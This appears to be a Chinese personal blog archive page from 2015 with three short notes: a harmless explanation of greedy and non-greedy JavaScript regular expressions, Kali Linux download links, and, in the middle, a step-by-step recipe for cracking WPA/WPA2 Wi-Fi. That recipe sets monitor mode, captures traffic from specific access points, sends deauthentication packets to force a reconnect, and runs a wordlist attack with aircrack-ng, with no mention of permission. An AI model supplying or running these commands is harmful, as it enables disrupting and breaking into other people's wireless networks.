2015年9月

javascript 正则表达式 贪婪和非贪婪模式

关于 javascript 正则表达式

例子: 取出主机名第一部分

var hostNameRe = new RegExp("^(.+)\\.(.+)");
var result = hostNameRe.exec("sh005.cloud.tianxiaoui.com");
console.log(result[1]);
console.log(result[2]);

运行代码:

sh005.cloud.tianxiaoui
com

这明显不是我想要的, 我只想要第一部分的片段, 这个表达式是贪婪模式

var hostNameRe = new RegExp("^(.+?)\\.(.+)");

只要多加一个? 就改成了非贪婪模式.

x*?
x+?
Matches the preceding item x like * and + from above, however the match is the smallest possible match.
For example, /".*?"/ matches '"foo"' in '"foo" "bar"' and does not match '"foo" "bar"' as without the ? behind the *.

破解 wpa/wpa2

查看網卡:
ifconfig
ifconfig -a

設置網卡爲monitor 模式
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
iwconfig wlan0

// open monitor
airmon-ng start wlan0

//check all networks
airodump-ng wlan0

// dump data
airodump-ng --ivs -w xiaomi -c 10 wlan0
airodump-ng --ivs -w mm -c 6 --bssid 00:10:18:01:D8:82 wlan0

// make network down and reshake hands
aireplay-ng -0 10 -a 40:16:9F:E0:79:00 -c 80:BE:05:0B:C2:B8 wlan1

//crack
aircrack-ng -w /root/Downloads/dict/123.txt mm-02.ivs

kali linux install links

download:
https://www.kali.org/downloads/

硬盘安装Kali Linux
http://cn.docs.kali.org/installing-kali-linux-cn/%E7%A1%AC%E7%9B%98%E5%AE%89%E8%A3%85kali-linux